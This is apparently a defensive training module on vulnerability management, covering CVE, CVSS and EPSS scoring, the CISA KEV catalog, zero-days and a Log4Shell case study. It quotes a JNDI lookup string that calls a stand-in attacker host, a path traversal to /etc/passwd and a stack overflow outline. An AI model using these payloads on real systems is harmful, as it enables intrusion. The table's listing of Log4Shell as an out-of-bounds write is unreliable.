Vulnerabilities and Exploits — CVEs, Zero-Days, Patch Lifecycle
The complete lifecycle from vulnerability discovery to active exploitation — CVE, CVSS, EPSS, zero-days, patch windows, and real risk prioritisation.
A vulnerability is a flaw in software, hardware, or configuration that can be exploited to cause unintended behavior. An exploit is the code or technique that weaponises that flaw. Most vulnerabilities are never publicly exploited — they're patched before attackers develop working exploits. But a subset become active threats, and the gap between "patch released" and "patch applied" is where most breaches happen.
This module covers the full lifecycle: how vulnerabilities are discovered and classified, what CVE IDs and CVSS scores mean and what they don't tell you, how zero-days work and who buys them, and how to run a vulnerability management program that prioritises by actual exploitation risk rather than theoretical severity scores. By the end you'll understand why "patch everything immediately" is an operationally impossible policy — and what evidence-based prioritisation looks like instead.
CVE — The Universal Vulnerability Language
A CVE (Common Vulnerabilities and Exposures) ID is a unique identifier assigned to a publicly disclosed vulnerability. CVEs are maintained by MITRE and funded by CISA (US government). When a researcher discovers a vulnerability, they report it to the vendor and/or request a CVE ID. After the vendor patches (or after a disclosure deadline), the CVE becomes public.
CVE anatomy:
CVE-2021-44228 "Log4Shell"
^^^^ ^^^^^
Year Sequential number (no security-relevant meaning)
CVE record contains:
- Description: What the vulnerability is
- Affected products and versions
- CVSS score (severity rating)
- CWE (root cause classification)
- References (patch, advisory, PoC code)
- EPSS score (exploitation probability)
Who assigns CVEs:
- MITRE (CVE Program root)
- CNAs (CVE Numbering Authorities):
- Vendors (Microsoft, Apple, Google, Red Hat) assign their own CVEs
- Bug bounty programs (HackerOne, Bugcrowd) are CNAs
- CERT/CC, GitHub Security Lab are CNAs
- ~300+ CNAs worldwide
CVE vs NVD:
CVE = identifier + basic description (MITRE)
NVD = enriched database with CVSS scores, CPE data, references (NIST)
Tools query NVD for machine-readable vulnerability data
Key databases:
nvd.nist.gov NVD — complete searchable CVE database
cve.mitre.org CVE list from source
vulndb.com Commercial, more detail, faster updates
exploit-db.com Public exploit code for CVEs
cisa.gov/kev CISA Known Exploited Vulnerabilities catalogCVSS — Scoring Vulnerability Severity
The Common Vulnerability Scoring System (CVSS) provides a numerical severity score (0.0-10.0) based on the vulnerability's characteristics. CVSS 3.1 is the current standard. It breaks scores into Base, Temporal, and Environmental metrics.
CVSS 3.1 Base Score components: Attack Vector (AV): Network (N) = Remotely exploitable — highest impact, most common Adjacent (A) = Requires network adjacency (same subnet/WiFi) Local (L) = Requires local access (logged-in user) Physical (P) = Requires physical device access Attack Complexity (AC): Low (L) = No special conditions required — just send the exploit High (H) = Specific conditions needed (race condition, specific config) Privileges Required (PR): None (N) = Unauthenticated Low (L) = Regular user High (H) = Admin privileges User Interaction (UI): None (N) = Exploitable without victim action Required (R) = Victim must click, open, visit something Scope (S): Unchanged (U) = Exploit stays within the vulnerable component Changed (C) = Exploit escapes to impact other components (sandbox escape) Confidentiality / Integrity / Availability Impact: None (N) / Low (L) / High (H) Example: Log4Shell (CVE-2021-44228) AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H Network, Low complexity, No auth, No interaction, Changed scope → CVSS: 10.0 (CRITICAL) — maximum score
CVSS scores are useful for normalization and comparison but have real limitations as a prioritisation tool. A CVE with CVSS 9.8 that affects software you don't run is less urgent than a CVSS 7.2 that affects your customer-facing API and has an active exploit in the wild. CVSS measures technical severity, not exploitation likelihood or your actual risk.
| Score Range | Severity | Patch SLA (typical) | Reality check |
|---|---|---|---|
| 9.0-10.0 | Critical | 24-72 hours | Focus here first — but only if you run the affected software |
| 7.0-8.9 | High | 7-30 days | Most exploited CVEs are in this range, not critical |
| 4.0-6.9 | Medium | 30-90 days | Large volume — prioritise by EPSS and asset context |
| 0.1-3.9 | Low | 90+ days | May deprioritise; rarely exploited in practice |
EPSS — Predicting Which CVEs Get Exploited
The Exploit Prediction Scoring System (EPSS) addresses CVSS's limitation: it estimates the probability that a CVE will be actively exploited in the wild within the next 30 days. EPSS uses machine learning trained on threat intelligence data, including exploit-db, Shodan observations, social media discussion, and active exploitation reports.
EPSS vs CVSS in practice:
Only ~5% of all published CVEs are ever exploited in the wild.
CVSS can't tell you which 5%.
EPSS distribution:
Most CVEs: EPSS < 0.01 (less than 1% chance of exploitation)
~5% of CVEs: EPSS > 0.1 (10%+ chance)
~1% of CVEs: EPSS > 0.5 (50%+ chance) — patch these immediately
Log4Shell (CVE-2021-44228):
CVSS: 10.0 (Critical)
EPSS: 0.97 ← 97% probability — patch in hours, not days
ProxyLogon (CVE-2021-26855) Exchange:
CVSS: 9.8 (Critical)
EPSS: 0.97 ← mass exploitation within days of disclosure
Example: 100 High/Critical CVEs in your environment this month
Sort by EPSS:
EPSS > 0.5 → 3 CVEs → Patch immediately (days)
EPSS 0.1-0.5 → 12 CVEs → Patch within 2 weeks
EPSS < 0.1 → 85 CVEs → Risk-accept or patch on standard schedule
Using EPSS in practice:
CISA KEV catalog + EPSS > 0.3 = drop everything and patch now
CVSS > 7 + EPSS < 0.01 = patch on normal schedule
CVSS 6 + EPSS 0.8 = patch faster than the CVSS suggests
EPSS API: https://api.first.org/data/v1/epss?cve=CVE-2021-44228CISA KEV — The Authoritative "Patch Now" List
The CISA Known Exploited Vulnerabilities (KEV) Catalog is maintained by the US Cybersecurity and Infrastructure Security Agency. It lists vulnerabilities that have confirmed, active exploitation in the wild. Federal agencies are required by CISA Binding Operational Directive 22-01 to patch KEV items within strict deadlines (typically 2-14 days). For everyone else, KEV is the highest-confidence signal that a vulnerability needs immediate attention.
CISA KEV usage:
Mandate for US federal agencies:
Critical CVEs in KEV: patch within 2 weeks
All KEV items: patch within deadline specified per CVE
For everyone else: KEV = "confirmed exploitation, prioritise now"
Subscribe to alerts: cisa.gov/known-exploited-vulnerabilities-catalog
Integration in vulnerability management:
1. Run vulnerability scanner (Nessus, Qualys, Tenable)
2. Export CVE list
3. Cross-reference with KEV: any match = P1, patch immediately
4. Remaining CVEs: sort by EPSS, then CVSS
KEV query via API:
curl https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
# Automate: if CVE in your environment appears in KEV → PagerDuty alert
# This is more actionable than CVSS 10.0 alone
Recent KEV examples (patterns):
- VPN appliances (Citrix, Pulse Secure, Fortinet) repeatedly exploited
- Exchange Server vulnerabilities (ProxyLogon, ProxyShell, ProxyNotShell)
- Ivanti/MobileIron MDM vulnerabilities
- File transfer tools (MOVEit, GoAnywhere MFT, Accellion FTA)
Pattern: internet-facing appliances = attackers' favourite targetsZero-Days — Vulnerabilities That Don't Have Patches
A zero-day is a vulnerability that is unknown to the vendor and therefore has no available patch. The name comes from the developer having "zero days" to prepare a fix before exploitation. Zero-days are the most dangerous class of vulnerability because defenders can't patch what doesn't have a patch — and attackers can operate indefinitely with no detection based on patch status.
Zero-day lifecycle: 1. Discovery Researcher or attacker finds vulnerability Vendor is unaware — no patch exists 2. Exploitation window begins (zero-day phase) Attacker has exclusive advantage No signature, no patch, no mitigation 3. Disclosure (public or private) Responsible disclosure: Researcher notifies vendor (90-day deadline) Full disclosure: Published immediately (no vendor notice) Coordinated disclosure: CERT/CC coordinates between researcher and vendor 4. Vendor response Acknowledge, investigate, develop patch Typical: 30-90 days to patch complex vulnerabilities 5. Patch released — becomes N-day (known but unpatched) Patch analysis: Reverse engineers analyse the fix to derive the exploit Patch-derived exploits appear in hours to days after patch release Systems that haven't patched are now exploitable by more attackers 6. Mass exploitation — commodity phase Exploits incorporated into Metasploit, crimeware kits Automated scanning/exploitation begins Timeline of exploitation: Year 2021 study (Google Project Zero): Average vendor patch time: 52 days from responsible disclosure Average exploitation time after disclosure: 15 days (faster than patching)
Zero-day economics and markets:
Who discovers zero-days:
- Nation-state intelligence agencies (NSA, GCHQ, FSB, APT groups)
- Security researchers (bug bounty, academic, independent)
- Vulnerability research firms (Zerodium, Crowdfence)
- Criminal groups (buy from above)
Zero-day pricing (Zerodium public price list):
iOS full chain (remote, no interaction): up to $2.5M
Android full chain: up to $2.5M
Chrome + sandbox escape: up to $500K
Windows LPE (local privilege escalation): up to $200K
Firefox RCE: up to $100K
Microsoft Exchange RCE (no auth): up to $400K
Who buys zero-days:
- Governments / intelligence agencies (NSA, GCHQ, Israeli Unit 8200)
- Law enforcement (FBI purchased iPhone exploit for San Bernardino case)
- Defence contractors
- Surveillance vendors (NSO Group's Pegasus used iOS zero-days)
Key incidents:
EternalBlue (MS17-010):
NSA zero-day in SMBv1, held for ~5 years
Leaked by Shadow Brokers in 2017
Patched by Microsoft March 2017 (MS17-010)
Used by WannaCry (May 2017) and NotPetya (June 2017) — $10B+ damages
Stuxnet (2010):
Used 4 Windows zero-days simultaneously
Estimated cost: tens of millions to develop
Nation-state (US/Israel) — targeted Iranian nuclear centrifugesVulnerability Types — Memory, Logic, and Configuration
Not all vulnerabilities are the same type. Understanding the root cause (classified by CWE — Common Weakness Enumeration) determines both how an exploit is constructed and what mitigations are effective.
| CWE / Type | Description | Example CVE | Mitigation |
|---|---|---|---|
| CWE-787: Out-of-bounds Write | Write past end of buffer — memory corruption, potential RCE | Log4Shell, most browser exploits | ASLR, stack canaries, memory-safe languages (Rust) |
| CWE-79: XSS | Unescaped user input reflected into HTML — script injection | Millions of web CVEs | Output encoding, CSP, framework defaults |
| CWE-89: SQL Injection | User input interpreted as SQL — data theft, auth bypass | Heartland breach 2008 | Parameterised queries, ORM |
| CWE-416: Use After Free | Reference to freed memory — exploitable corruption | Chrome V8 exploits, PDF parsers | Memory-safe languages, GC, sanitizers |
| CWE-22: Path Traversal | ../../../etc/passwd — read outside intended directory | Apache, Nginx misconfigs | Validate paths, chroot/container |
| CWE-287: Authentication Failure | Improper authentication — bypass login | Citrix CVE-2019-19781 | WAF, strong auth, MFA |
| CWE-502: Insecure Deserialization | Untrusted data deserialized → RCE | Java deserialization, pickle | Don't deserialize untrusted data |
| CWE-611: XXE | XML external entity → file read / SSRF | Common in Java XML parsers | Disable external entity processing |
Memory safety exploits — how buffer overflows become RCE:
Simplified stack buffer overflow:
void vulnerable(char *input) {
char buf[64];
strcpy(buf, input); // No bounds check!
}
Stack layout:
[ buf (64 bytes) ][ saved frame pointer ][ return address ]
If input is 72 bytes:
First 64 bytes → fill buf
Next 4 bytes → overwrite saved frame pointer (garbage)
Next 4 bytes → overwrite return address
Attacker controls return address → redirected to:
- Shellcode injected in buf (old technique, blocked by NX/DEP)
- ROP (Return-Oriented Programming) chains using existing code
- JIT spraying (browser exploits)
Modern mitigations:
ASLR: Randomises address of stack, heap, libraries
Attacker can't predict where to jump
Stack Canaries: Random value before return address
Check before returning — if changed → crash (not exploit)
NX/DEP: Stack memory is non-executable
Shellcode in buf → can't execute
CFI: Control Flow Integrity — validates call/return targetsThe Patch Lifecycle — From Disclosure to Deployment
The window between a vulnerability being disclosed and being patched in every vulnerable system is where breaches happen. Understanding this timeline helps you set realistic expectations and policies.
Patch lifecycle timeline:
Day 0: Researcher reports vulnerability to vendor (responsible disclosure)
"90-day disclosure deadline clock starts"
Day 0-30: Vendor triages, confirms, assigns CVE
Develops and tests fix
Coordinates with downstream distributors (OS vendors, cloud providers)
Day 30-90: Patch released (vendor advisory + CVE goes public)
↓
Patch reverse-engineering begins immediately
Security researchers diff the patch → find the exact change
Exploit derivation: 1-7 days to working exploit after patch
Day 90+: Patch deployed by organisations
Reality:
- Large enterprises: 30-90 days for enterprise software patching
- Internet-facing systems: should be 24-72 hours for critical
- Some systems never patched: legacy, no-patch-window, forgotten
Mean time to patch (industry data):
Critical vulnerabilities: median 16 days to patch
All vulnerabilities: median 60-100 days to patch
Some organisations: 150+ days average
The exploitation race:
After patch release, two races start simultaneously:
Race 1: Defenders deploying the patch
Race 2: Attackers reverse-engineering the fix to build an exploit
If Race 2 finishes before Race 1: breach
Average time from patch to exploit in the wild: 15 days (2021)
Average time for organisations to patch: 60+ days
Gap: ~45 days of exposure after patch is availableVulnerability Management — Risk-Based Prioritisation
A medium enterprise might have 50,000-500,000 vulnerabilities across its infrastructure at any given time. Patching everything immediately is operationally impossible. The goal of vulnerability management is to identify and eliminate vulnerabilities that represent actual exploitation risk before they're exploited — which requires smart prioritisation, not just CVSS sorting.
Risk-based vulnerability prioritisation framework: Priority 1 — Patch within 48 hours: ✓ In CISA KEV catalog ✓ EPSS > 0.5 (50%+ exploitation probability) ✓ Confirmed active exploitation in threat intel feeds ✓ Affects internet-facing systems Priority 2 — Patch within 2 weeks: ✓ CVSS > 9.0 AND EPSS > 0.1 ✓ Affects systems with sensitive data ✓ Public PoC code exists + CVSS > 7 Priority 3 — Patch within 30 days: ✓ CVSS > 7.0 ✓ Internal systems, not internet-facing Priority 4 — Standard patch cycle (quarterly): ✓ CVSS < 7 AND EPSS < 0.05 ✓ No public exploitation Risk acceptance (document and review): - Can't patch without downtime (legacy system, change freeze) - Vendor hasn't released patch (document compensating controls) - CVSS low + EPSS low + asset context low risk Asset context matters: Same CVE, different risk depending on: - Does the system face the internet? (much higher risk) - What data does it process? (PII, financial = higher priority) - Does it have compensating controls? (WAF, network isolation) - Is the service exploitable in your specific configuration? Scanning cadence: Internet-facing systems: Daily scanning Internal critical systems: Weekly All internal: At least monthly Post-patch: Immediate re-scan to confirm remediation
Vulnerability management tooling: Scanning: Nessus / Tenable.sc — industry standard, comprehensive plugins Qualys VMDR — cloud-based, good for distributed orgs Rapid7 InsightVM — strong asset context + remediation guidance OpenVAS / Greenbone — open source alternative Asset inventory (required for effective VM): Without knowing what you have, you can't know what's vulnerable CMDB (Configuration Management DB) — ServiceNow, Snipe-IT Cloud asset discovery: AWS Config, Azure Policy, GCP Asset Inventory Workflow integration: Scanner → SIEM → Jira tickets → remediation tracking CVSS + EPSS + KEV → automated priority assignment SLA tracking: Alert when P1 CVE exceeds 48-hour remediation window Metrics that matter: Mean Time to Remediate (MTTR) by severity % of assets scanned (coverage) Vulnerability density (vulns per asset over time — should decrease) Critical/High CVEs outstanding > SLA (this is what gets reported to CISO)
Exploit Development — How PoC Becomes Production Exploit
Understanding how exploits are developed helps defenders understand the timeline pressure after a CVE is disclosed. The journey from published vulnerability to weaponised exploit follows a predictable pattern.
Exploit development stages: Stage 1: Vulnerability analysis (hours to days) Read vendor advisory, CVE description, patch diff Reproduce the crash / unexpected behaviour in a lab Understand the root cause (use-after-free? buffer overflow? logic bug?) Stage 2: Proof-of-Concept (PoC) development (days to weeks) Write code that triggers the vulnerability Goal: demonstrate impact, not necessarily reliable exploitation PoC often crashes the target (not useful for stealth) PoC is usually shared by researchers to prove the vulnerability exists Stage 3: Reliability engineering (weeks) Make the exploit work consistently, not just sometimes Defeat ASLR: information leak to bypass address randomisation Defeat stack canaries: overwrite canary value before check Handle different versions, configurations, patch levels Stage 4: Weaponisation (additional weeks) Add payload delivery (shellcode, staged loader) Add evasion (bypass AV, EDR, sandbox) Integrate into framework (Metasploit module, Cobalt Strike aggressor) Add C2 integration and persistence Stage 5: Deployment Nation-state: Stage 4 may take months, exploit may stay classified Criminal: Sell/rent exploit kit, deploy via phishing campaigns Researcher: Publish PoC at full disclosure deadline (90 days) Metasploit: Metasploit module available for major CVEs within weeks Metasploit module availability: Critical network-accessible CVEs: Module within 1-4 weeks This is why defenders must patch critical network CVEs within days Once in Metasploit: any script kiddie can exploit it
Case Study — Log4Shell (CVE-2021-44228)
Log4Shell is the canonical example of a critical zero-day becoming a global incident within days of disclosure. Understanding the timeline shows why CVSS 10.0 + internet-facing + EPSS 0.97 means "patch in hours."
Log4Shell incident timeline:
Nov 24, 2021: Alibaba Cloud security team reports to Apache
Dec 9, 2021: Proof-of-Concept leak on GitHub/Twitter
CVE-2021-44228 assigned
CVSS: 10.0 / EPSS: 0.97
Dec 9-10: Mass scanning begins — Shodan, Censys bots scanning for Log4j
First exploits: botnets (Mirai, Muhstik) using for cryptomining
Within 12 hours: all cloud providers and major tech vendors issue alerts
Dec 10: Apache releases Log4j 2.15.0 (patch — but incomplete)
Dec 11-12: CVE-2021-45046 discovered — 2.15.0 incomplete fix
CVSS: 9.0 (still critical)
Dec 13: Apache releases 2.16.0 (second patch)
Second bypass (CVE-2021-45105) found
Dec 18: 2.17.0 released (third fix in 9 days)
What Log4Shell exploits:
Java's Log4j logger processed {jndi:ldap://attacker.com/a} as code
Log anything controlled by user (HTTP headers, usernames, form fields)
→ JNDI lookup to attacker server → downloads Java class → RCE
Affected: Any Java application using Log4j 2.0-2.14.1 that logged user input
Scope: Millions of servers — Minecraft, iCloud, Tesla, VMware, Cisco...
Impact:
- Iranian APT (Charming Kitten) exploiting within 2 days
- Chinese APT groups active within 3 days
- Ransomware actors within 2 weeks
- Belgian defence ministry compromised
- CISA emergency directive to all federal agencies
Lesson: CVSS 10.0 + internet-facing + EPSS 0.97 = patch within hours, not daysInterview Questions
CVSS (Common Vulnerability Scoring System) provides a technical severity score from 0-10 based on characteristics like whether the vulnerability is network-accessible, requires authentication, and what impact exploitation has. CVSS measures how bad the vulnerability is in theory. EPSS (Exploit Prediction Scoring System) predicts the probability that this CVE will be actively exploited in the wild within 30 days. EPSS measures how likely it is to matter in practice.
In a prioritisation workflow: use CVE to identify the vulnerability, CVSS to do initial triage (ignore CVSS < 4), CWE for root cause analysis and pattern detection, and EPSS + CISA KEV as the primary signals for "patch this now." A CVSS 7 with EPSS 0.8 and presence in the KEV catalog should be patched before a CVSS 9.8 with EPSS 0.001.
Once the vendor learns about the zero-day (whether through responsible disclosure, public leak, or observing exploitation), the clock starts on patch development. Until the patch is available, defenders must choose between: applying workarounds (if available), disabling the vulnerable feature, increased monitoring, or accepting the risk. After the patch releases, the vulnerability technically becomes an "N-day" — known and patchable. But the security community continues to call it a zero-day colloquially even after patching, referring to the period it was exploited without a patch.
The response to the CISO: this specific six-month-old vulnerability should be documented with a risk acceptance, a compensating control (network segmentation, WAF rule, EDR detection), and a firm remediation date. For internet-facing systems, six months is never acceptable — those should have a 48-hour SLA for critical CVEs with active exploitation.
Full disclosure means publishing the vulnerability details immediately, often with working exploit code. The argument: vendors move faster when they know a public exploit exists, the security community can develop mitigations, and "security through obscurity" is a false defence. The tradeoff: defenders have zero time to patch before attackers have the exploit. The vendor gets no heads up.
The industry norm is coordinated disclosure with a 90-day deadline. After 90 days, the researcher publishes regardless of vendor patch status. This balances vendor time to fix with accountability for slow response. CERT/CC and Google Project Zero have been instrumental in establishing this norm. The 90-day standard has resulted in faster average vendor patch times compared to an earlier era of indefinite embargo.
In practice, this often reduces the "must patch now" list from 50,000 to 200-500 findings — a workload the team can actually execute. The other 49,000+ are handled in batches. This approach requires good asset inventory (you can't apply context without knowing what the asset does), EPSS integration in your vulnerability platform, and executive buy-in that not all CVEs are equal risk.
Error Library — Common Mistakes
🎯 Key Takeaways
- ✓CVE is an identifier, CVSS is a technical severity score, CWE is a root cause classification, and EPSS is exploitation probability. Use all four together — CVSS alone is an insufficient prioritisation signal.
- ✓Only ~5% of all CVEs are ever exploited in the wild. EPSS predicts which ones — a CVE with EPSS > 0.5 needs immediate action regardless of CVSS score.
- ✓The CISA KEV catalog lists vulnerabilities with confirmed active exploitation. Any KEV item in your environment should be patched within 48 hours for internet-facing systems.
- ✓A zero-day has no patch because the vendor doesn't know it exists. Compensating controls (network segmentation, WAF rules, enhanced monitoring, feature disablement) are the only mitigation until a patch is released.
- ✓After a patch is released, attackers reverse-engineer the fix to derive working exploits — typically within 1-7 days. This means the clock starts on disclosure, not on initial exploitation.
- ✓Log4Shell went from disclosure to mass exploitation in 12 hours. Internet-facing systems with Critical CVEs need patch SLAs measured in hours, not weeks.
- ✓ASLR, stack canaries, NX/DEP, and CFI are memory safety mitigations that raise the cost of exploiting memory corruption bugs — they don't eliminate the vulnerability but make reliable exploitation significantly harder.
- ✓50,000+ open vulnerability findings is normal for enterprises. Data-driven triage (CISA KEV + EPSS + asset context) reduces the urgent list to hundreds — a workable remediation queue.
- ✓Zero-day economics: nation-states pay $500K-$2.5M for iOS full-chain exploits. This price reflects scarcity and operational value — these are precision intelligence tools, not commodity attacks.
- ✓Mean time to patch (industry median) is 60+ days. Mean time from patch to active exploit in the wild is 15 days. The 45-day gap is where most breaches occur — closing this gap is the core mission of vulnerability management.
In Module 14, you write security tooling. Python is the language of the security industry — from network scanners to log parsers to exploit PoCs to automation scripts. You'll build a port scanner from sockets, write a packet analyser with Scapy, automate API security testing, parse large log files for threat indicators, and understand how popular security tools like SQLMap and Impacket are structured under the hood.
Continue to Module 14 →Discussion
0Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.